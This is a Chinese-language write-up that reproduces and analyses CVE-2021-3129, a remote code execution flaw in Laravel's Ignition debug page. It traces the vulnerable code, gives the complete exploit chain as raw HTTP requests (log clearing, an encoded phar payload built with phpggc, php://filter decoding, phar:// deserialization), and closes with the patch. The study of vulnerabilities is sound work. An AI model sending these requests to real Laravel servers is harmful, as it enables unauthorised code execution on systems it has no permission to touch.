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CVE-2021-3129：Laravel 远程代码漏洞复现分析

作者：华为云开发者社区
  • 2022 年 3 月 17 日

  • 本文字数：7489 字

    阅读完需：约 25 分钟

本文分享自华为云社区《CVE-2021-3129 分析》，作者：Xuuuu 。


CVE-2021-3129

  • Tag: [[php phar]] | [[php deserialize]]

Env 搭建

VulEnv/laravel/cve_2021_3129 at master · XuCcc/VulEnv

Source 分析

根据描述，本质上是由于 facade/ignition 引入的问题，直接查看 ignition 的 commit 记录[^1] 看到 \Facade\Ignition\Solutions\MakeViewVariableOptionalSolution 添加了一个安全过滤函数 isSafePath


// \Facade\Ignition\Solutions\MakeViewVariableOptionalSolution::makeOptional
public function makeOptional(array $parameters = []){    $originalContents = file_get_contents($parameters['viewFile']);    $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
    $originalTokens = token_get_all(Blade::compileString($originalContents));    $newTokens = token_get_all(Blade::compileString($newContents));
    $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
    if ($expectedTokens !== $newTokens) {        return false;    }
    return $newContents;}
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发现危险函数 file_get_contents ，跟踪函数调用栈

  • \Facade\Ignition\Solutions\MakeViewVariableOptionalSolution::makeOptional

  • \Facade\Ignition\Solutions\MakeViewVariableOptionalSolution::run

  • \Facade\Ignition\Http\Controllers\ExecuteSolutionController::__invoke

  • \Facade\Ignition\IgnitionServiceProvider::registerHousekeepingRoutes


    参数 $parameters['viewFile'] 无过滤，通过 execute-solution 路由可以进行触发，结合官方文档[^2] 可知，在执行 solution 操作时将走到 source 处。

Poc 编写

启动环境后，就出现了一个 igition 的错误修复界面，点击 Generate app key 抓包



POST /_ignition/execute-solution HTTP/1.1Host: localhost:8000Content-Length: 82Accept: application/jsonContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Origin: http://localhost:8000Referer: http://localhost:8000/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close
{"solution":"Facade\\Ignition\\Solutions\\GenerateAppKeySolution","parameters":[]}
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然后修改参数 solution 修改为 MakeViewVariableOptionalSolution 指定 solution

POST /_ignition/execute-solution HTTP/1.1Host: localhost:8000Content-Length: 163Accept: application/jsonContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Origin: http://localhost:8000Referer: http://localhost:8000/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close
{    "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",    "parameters": {        "variableName": "sxv",        "viewFile": "asdfasdf"    }}HTTP/1.1 500 Internal Server ErrorHost: localhost:8000Date: Tue, 15 Mar 2022 08:00:15 GMTConnection: closeX-Powered-By: PHP/7.3.21Cache-Control: no-cache, privateDate: Tue, 15 Mar 2022 08:00:15 GMTContent-Type: application/json
{    "message": "file_get_contents(asdfasdf): failed to open stream: No such file or directory",    ...}
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500 则代表存在漏洞。

EXP 编写

当存在上传点时，直接上传 phar 文件进行反序列化即可，直接快进到第四步触发反序列化

利用思路

无上传点可利用时，我们可以操控 ../storage/logs/laravel.log 日志文件，配合 php://filter的特性来构建 phar 文件，执行反序列化。

  1. 清空日志文件

{    "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",    "parameters": {        "variableName": "sxv",        "viewFile": "php://filter/read=consumed/resource=../storage/logs/laravel.log"    }}
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  1. 写入合法 phar 文件

[2022-03-08 09:09:26] local.ERROR: file_get_contents(AA): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(AA): failed to open stream: No such file or directory at C:\\Users\\xu\\Desktop\\tmp\\laravel\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution.php:75)  [stacktrace]  #0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'file_get_conten...', 'C:\\\\Users\\\\xu...', 75, Array)  #1 C:\\Users\\xu\\Desktop\\tmp\\laravel\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution.php(75): file_get_contents('AA')  ........#41 {main}  "}
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其中传入的 payload 出现位置

...[padding] file_get_contents($payload) [padding] file_get_contents($payload)...[padding] file_get_contents('$payload[:15]') # 部分payload
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由于 [[php phar#文件结构]] 特性，文件前后允许脏数据存在，所以思路为构造 phar 文件，将 phar 文件经过编码后写入 log 文件，再通过 php://filter 特性还原 phar 文件，最后通过 phar://触发

编码特性

  • base64 解码不符合 base64 标准的字符将被忽略 然后继续解码

  • utf16 -> utf8utf16 用两字节表示一个字符, 需要双字节对齐

  • quoted-printable 邮件编码将 \0 编码为 =00

<?php$fp = fopen('php://output', 'w');  stream_filter_append($fp, 'convert.base64-encode');  stream_filter_append($fp, 'convert.iconv.utf-8.utf-16le');  stream_filter_append($fp, 'convert.quoted-printable-encode');  fwrite($fp, "POCCCCCCCCCCCCC");fclose($fp);// U=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00$fp = fopen('php://output', 'w');  stream_filter_append($fp, 'convert.quoted-printable-decode');  stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8');  //stream_filter_append($fp, 'convert.base64-decode');  fwrite($fp, "AACCU=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00CCAA");  fclose($fp);// 䅁䍃UE9DQ0NDQ0NDQ0NDQ0ND䍃䅁
$fp = fopen('php://output', 'w');  //stream_filter_append($fp, 'convert.quoted-printable-decode');  //stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8');  stream_filter_append($fp, 'convert.base64-decode');  fwrite($fp, "䅁䍃UE9DQ0NDQ0NDQ0NDQ0ND䍃䅁");  fclose($fp);// POCCCCCCCCCCCCC
?>
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发送

/ Step 1"U=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00"// Step 2"php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
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解码报错 file_get_contents(): stream filter (convert.quoted-printable-decode): invalid byte sequence 观察日志文件

[2022-03-10 07:02:55] local.ERROR: file_get_contents(U=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(U=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00): failed to open stream: No such file or directory at C:\\Users\\xu\\Desktop\\tmp\\laravel\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution.php:75)[stacktrace]#0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'file_get_conten...', 'C:\\\\Users\\\\xu...', 75, Array)#1 C:\\Users\\xu\\Desktop\\tmp\\laravel\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution.php(75): file_get_contents('U=00E=009=00D=0...')
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断定由于 U=00E=009=00D=0... 处被截断导致 quoted-printable 解码报错，第三处位置只显示前 15 个字符,所以可以通过 'A' * 15进行填充，发送AAAAAAAAAAAAAAAU=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00解码后得到 POCCCCCCCCCCCCCPOCCCCCCCCCCCCC 出现了两次 payload ，初步符合我们的要求，能够自由控制 storage.log 内容。


那出现两次的 payload 如何解决呢？如果出现两次 payload 或者出现部分残留的 base64 编码允许的字符将影响后续的 base64 解码。 可以通过在前后通过加填充字符的方式来调整 payload 的第一个字符下标为奇数 or 偶数，从而影响 utf16->utf8 的解码，来使得最终只出现一次 payload



例如发送 'A' * 16AAAAAAAAAAAAAAAAU=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00解码后成功得到 POCCCCCCCCCCCCC

phar 生成

利用 phpgcc [^3] 生成 phar 文件

> php -d 'phar.readonly=0' ./phpggc Laravel/RCE5 "phpinfo();" -p phar -o poc.phar> php -r "echo file_get_contents('php://filter/read=convert.base64-encode|convert.iconv.utf-8.utf-16le|convert.quote  d-printable-encode/resource=poc.phar');" P=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00...N=00b=00A=00g=00A=00A=00A=00E=00d=00C=00T=00U=00I=00=3D=00
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完整利用

  1. 清空日志

POST /_ignition/execute-solution HTTP/1.1Host: localhost:8000Content-Length: 196Accept: application/jsonContent-Type: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Origin: http://localhost:8000Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close
{ "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "sxv", "viewFile": "php://filter/read=consumed/resource=../storage/logs/laravel.log" }}
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  1. 发送 phar 文件

POST /_ignition/execute-solution HTTP/1.1Host: localhost:8000Content-Length: 3222Accept: application/jsonContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Origin: http://localhost:8000Referer: http://localhost:8000/?XDEBUG_SESSION_START=16187Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close
{ "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "sxv", "viewFile": "AAAAAAAAAAAAAAAP=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00V=00B=00J=00T=00E=00V=00S=00K=00C=00k=007=00I=00D=008=00+=00D=00Q=00r=00+=00A=00Q=00A=00A=00A=00Q=00A=00A=00A=00B=00E=00A=00A=00A=00A=00B=00A=00A=00A=00A=00A=00A=00D=00I=00A=00Q=00A=00A=00T=00z=00o=000=00M=00D=00o=00i=00S=00W=00x=00s=00d=00W=001=00p=00b=00m=00F=000=00Z=00V=00x=00C=00c=00m=009=00h=00Z=00G=00N=00h=00c=003=00R=00p=00b=00m=00d=00c=00U=00G=00V=00u=00Z=00G=00l=00u=00Z=000=00J=00y=00b=002=00F=00k=00Y=002=00F=00z=00d=00C=00I=006=00M=00j=00p=007=00c=00z=00o=005=00O=00i=00I=00A=00K=00g=00B=00l=00d=00m=00V=00u=00d=00H=00M=00i=00O=000=008=006=00M=00j=00U=006=00I=00k=00l=00s=00b=00H=00V=00t=00a=00W=005=00h=00d=00G=00V=00c=00Q=00n=00V=00z=00X=00E=00R=00p=00c=003=00B=00h=00d=00G=00N=00o=00Z=00X=00I=00i=00O=00j=00E=006=00e=003=00M=006=00M=00T=00Y=006=00I=00g=00A=00q=00A=00H=00F=001=00Z=00X=00V=00l=00U=00m=00V=00z=00b=002=00x=002=00Z=00X=00I=00i=00O=002=00E=006=00M=00j=00p=007=00a=00T=00o=00w=00O=000=008=006=00M=00j=00U=006=00I=00k=001=00v=00Y=002=00t=00l=00c=00n=00l=00c=00T=00G=009=00h=00Z=00G=00V=00y=00X=00E=00V=002=00Y=00W=00x=00M=00b=002=00F=00k=00Z=00X=00I=00i=00O=00j=00A=006=00e=003=001=00p=00O=00j=00E=007=00c=00z=00o=000=00O=00i=00J=00s=00b=002=00F=00k=00I=00j=00t=009=00f=00X=00M=006=00O=00D=00o=00i=00A=00C=00o=00A=00Z=00X=00Z=00l=00b=00n=00Q=00i=00O=000=008=006=00M=00z=00g=006=00I=00k=00l=00s=00b=00H=00V=00t=00a=00W=005=00h=00d=00G=00V=00c=00Q=00n=00J=00v=00Y=00W=00R=00j=00Y=00X=00N=000=00a=00W=005=00n=00X=00E=00J=00y=00b=002=00F=00k=00Y=002=00F=00z=00d=00E=00V=002=00Z=00W=005=000=00I=00j=00o=00x=00O=00n=00t=00z=00O=00j=00E=00w=00O=00i=00J=00j=00b=002=005=00u=00Z=00W=00N=000=00a=00W=009=00u=00I=00j=00t=00P=00O=00j=00M=00y=00O=00i=00J=00N=00b=002=00N=00r=00Z=00X=00J=005=00X=00E=00d=00l=00b=00m=00V=00y=00Y=00X=00R=00v=00c=00l=00x=00N=00b=002=00N=00r=00R=00G=00V=00m=00a=00W=005=00p=00d=00G=00l=00v=00b=00i=00I=006=00M=00j=00p=007=00c=00z=00o=005=00O=00i=00I=00A=00K=00g=00B=00j=00b=002=005=00m=00a=00W=00c=00i=00O=000=008=006=00M=00z=00U=006=00I=00k=001=00v=00Y=002=00t=00l=00c=00n=00l=00c=00R=002=00V=00u=00Z=00X=00J=00h=00d=00G=009=00y=00X=00E=001=00v=00Y=002=00t=00D=00b=002=005=00m=00a=00W=00d=001=00c=00m=00F=000=00a=00W=009=00u=00I=00j=00o=00x=00O=00n=00t=00z=00O=00j=00c=006=00I=00g=00A=00q=00A=00G=005=00h=00b=00W=00U=00i=00O=003=00M=006=00N=00z=00o=00i=00Y=00W=00J=00j=00Z=00G=00V=00m=00Z=00y=00I=007=00f=00X=00M=006=00N=00z=00o=00i=00A=00C=00o=00A=00Y=002=009=00k=00Z=00S=00I=007=00c=00z=00o=00y=00N=00T=00o=00i=00P=00D=009=00w=00a=00H=00A=00g=00c=00G=00h=00w=00a=00W=005=00m=00b=00y=00g=00p=00O=00y=00B=00l=00e=00G=00l=000=00O=00y=00A=00/=00P=00i=00I=007=00f=00X=001=009=00C=00A=00A=00A=00A=00H=00R=00l=00c=003=00Q=00u=00d=00H=00h=000=00B=00A=00A=00A=00A=00M=00R=00g=00K=00G=00I=00E=00A=00A=00A=00A=00D=00H=005=00/=002=00L=00Y=00B=00A=00A=00A=00A=00A=00A=00A=00A=00d=00G=00V=00z=00d=00O=00/=00f=00e=004=00O=00w=00P=00Z=00E=00S=00E=00Q=00e=00a=00f=004=005=00A=00o=00i=00R=00J=00r=00g=00N=00b=00A=00g=00A=00A=00A=00E=00d=00C=00T=00U=00I=00=3D=00" }}
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3.还原 phar 文件

此步骤可通过以下代码验证 phar 文件还原是否成功，或者通过 http 200状态码判断

$fix = file_get_contents("php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log");  var_export($fix);
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POST /_ignition/execute-solution HTTP/1.1Host: localhost:8000Content-Length: 271Accept: application/jsonContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Origin: http://localhost:8000Referer: http://localhost:8000/?XDEBUG_SESSION_START=16187Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close
{ "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "sxv", "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log" }}
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  1. 触发反序列化

POST /_ignition/execute-solution HTTP/1.1Host: localhost:8000Content-Length: 167Accept: application/jsonContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Origin: http://localhost:8000Referer: http://localhost:8000/?XDEBUG_SESSION_START=16187Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close
{ "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "sxv", "viewFile": "phar://../storage/logs/laravel.log" }
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Patch 修复

\Facade\Ignition\Solutions\MakeViewVariableOptionalSolution::isSafePath 函数对$parameters['viewFile'] 进行了过滤，防止伪协议等。

protected function isSafePath(string $path): bool{	if (! Str::startsWith($path, ['/', './'])) {		return false;	}	if (! Str::endsWith($path, '.blade.php')) {		return false;	}
	return true;}
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Reference

  • Laravel8 CVE-2021-3129 复现分析 - TARI TARI

  • Laravel Debug mode RCE（CVE-2021-3129）复现 - inHann 的博客 | inHann’s Blog

  • Laravel Debug mode RCE（CVE-2021-3129）分析复现 - 先知社区

Footnote

[^1]: Comparing 2.5.1…2.5.2 · facade/ignition[^2]: Security - Flare Docs[^3]: ambionics/phpggc: PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically.

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原文链接:【http://xie.infoq.cn/article/337b77f4a3d60eee084688c03】。文章转载请联系作者。

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